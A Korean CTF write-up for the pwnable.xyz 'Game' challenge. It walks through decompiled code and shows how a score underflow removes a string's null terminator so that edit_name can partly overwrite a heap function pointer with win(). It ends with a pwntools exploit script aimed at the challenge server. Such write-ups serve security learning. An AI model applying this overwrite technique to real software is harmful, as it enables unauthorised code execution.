[pwnable.xyz]Game
메인이다. 메뉴는 총 4개가 있다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v4; // eax
setup();
v3 = "Shell we play a game?";
puts("Shell we play a game?");
init_game();
while ( 1 )
{
while ( 1 )
{
print_menu(v3, argv);
v3 = "> ";
printf("> ");
v4 = read_int32();
if ( v4 != 1 )
break;
(*(cur + 3))();
}
if ( v4 > 1 )
{
if ( v4 == 2 )
{
save_game();
}
else
{
if ( v4 != 3 )
goto LABEL_13;
edit_name();
}
}
else
{
if ( !v4 )
exit(1);
LABEL_13:
v3 = "Invalid";
puts("Invalid");
}
}
}
우선 init_game
함수를 보면 *cur에 name입력받은 16바이트 저장한다. 그리고 *(cur+3)에 play_game함수를 저장한다.
char *init_game()
{
char *result; // rax
saves[0] = malloc(32uLL);
cur = find_last_save();
printf("Name: ");
read(0, cur, 16uLL);
result = cur;
*(cur + 3) = play_game;
return result;
}
이 함수는 별거 없다.
unsigned __int64 play_game()
{
__int16 v0; // dx
__int16 v1; // dx
__int16 v2; // dx
__int16 v3; // dx
int fd; // [rsp+Ch] [rbp-124h]
int v6; // [rsp+10h] [rbp-120h]
unsigned int buf; // [rsp+14h] [rbp-11Ch]
unsigned int v8; // [rsp+18h] [rbp-118h]
unsigned __int8 v9; // [rsp+1Ch] [rbp-114h]
char s; // [rsp+20h] [rbp-110h]
unsigned __int64 v11; // [rsp+128h] [rbp-8h]
v11 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, &buf, 0xCuLL);
close(fd);
v9 &= 3u;
memset(&s, 0, 0x100uLL);
snprintf(&s, 0x100uLL, "%u %c %u = ", buf, ops[v9], v8);
printf("%s", &s);
v6 = read_int32();
if ( v9 == 1 )
{
if ( buf - v8 == v6 )
v1 = *(cur + 8) + 1;
else
v1 = *(cur + 8) - 1;
*(cur + 8) = v1;
}
else if ( v9 > 1 )
{
if ( v9 == 2 )
{
if ( buf / v8 == v6 )
v2 = *(cur + 8) + 1;
else
v2 = *(cur + 8) - 1;
*(cur + 8) = v2;
}
else if ( v9 == 3 )
{
if ( v8 * buf == v6 )
v3 = *(cur + 8) + 1;
else
v3 = *(cur + 8) - 1;
*(cur + 8) = v3;
}
}
else if ( !v9 )
{
if ( v8 + buf == v6 )
v0 = *(cur + 8) + 1;
else
v0 = *(cur + 8) - 1;
*(cur + 8) = v0;
}
return __readfsqword(0x28u) ^ v11;
}
save_game
함수는 청크를 복사해준다.
int save_game()
{
_QWORD *v0; // rcx
__int64 v1; // rdx
__int64 v2; // rdx
__int64 v3; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 1; i <= 4; ++i )
{
if ( !saves[i] )
{
saves[i] = malloc(32uLL);
v0 = saves[i];
v1 = *(cur + 1);
*v0 = *cur;
v0[1] = v1;
*(saves[i] + 16) = *(cur + 8);
*(saves[i] + 24) = play_game;
v2 = i;
v3 = saves[v2];
cur = saves[v2];
return v3;
}
}
LODWORD(v3) = puts("Not enough space.");
return v3;
}
edit_name() 함수에서는 name만큼 값을 쓸 수 있다.
ssize_t edit_name()
{
size_t v0; // rax
v0 = strlen(cur);
return read(0, cur, v0);
}
구조체는 name, score, fucntion *ptr 이런식으로 되있을 거다.
익스할 때 처음에 일단 name에서 16개를 꽉 채워서 보내는 이유는 size와 합쳐져서 널 바이트를 없애 3번 메뉴에서 더 많이 받을 수 있다.
우선 1번 메뉴 play를 해서 지면 score이 -1이 된걸 볼 수 있는데 디버깅해보면 값은 0xffff가 들어간다. 이제 save로 복사하면 새로운 청크가 생기면서 값들이 복사된다. 여기서0xffffffffffffffff가 들어간다.
그래서 name(16) + 0xffffffffffffffff(8) + 0x0400aca(3) 이렇게 된다. 그래서 우리는 총 27바이트를 입력할 수 있다. 이제 0x0400aca를 덮을 수 있다. 3바이트를 덮을 수 있으니까 0x4009d6주소인 win으로 덮으면 1번 메뉴 실행할 때마다 win함수가 실행될거다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30009)
p.sendafter(':','A'*16) # name
p.sendlineafter('>','1') # play
p.sendafter('=','1') # anything
p.sendlineafter('>','2') # save
p.sendlineafter('>','3') # read(0,cur,sizeof(cur))
payload = 'A'*24 + p16(0x9d6) # size -> 2byte & 0x4009d6 -> win();
p.send(payload)
p.interactive()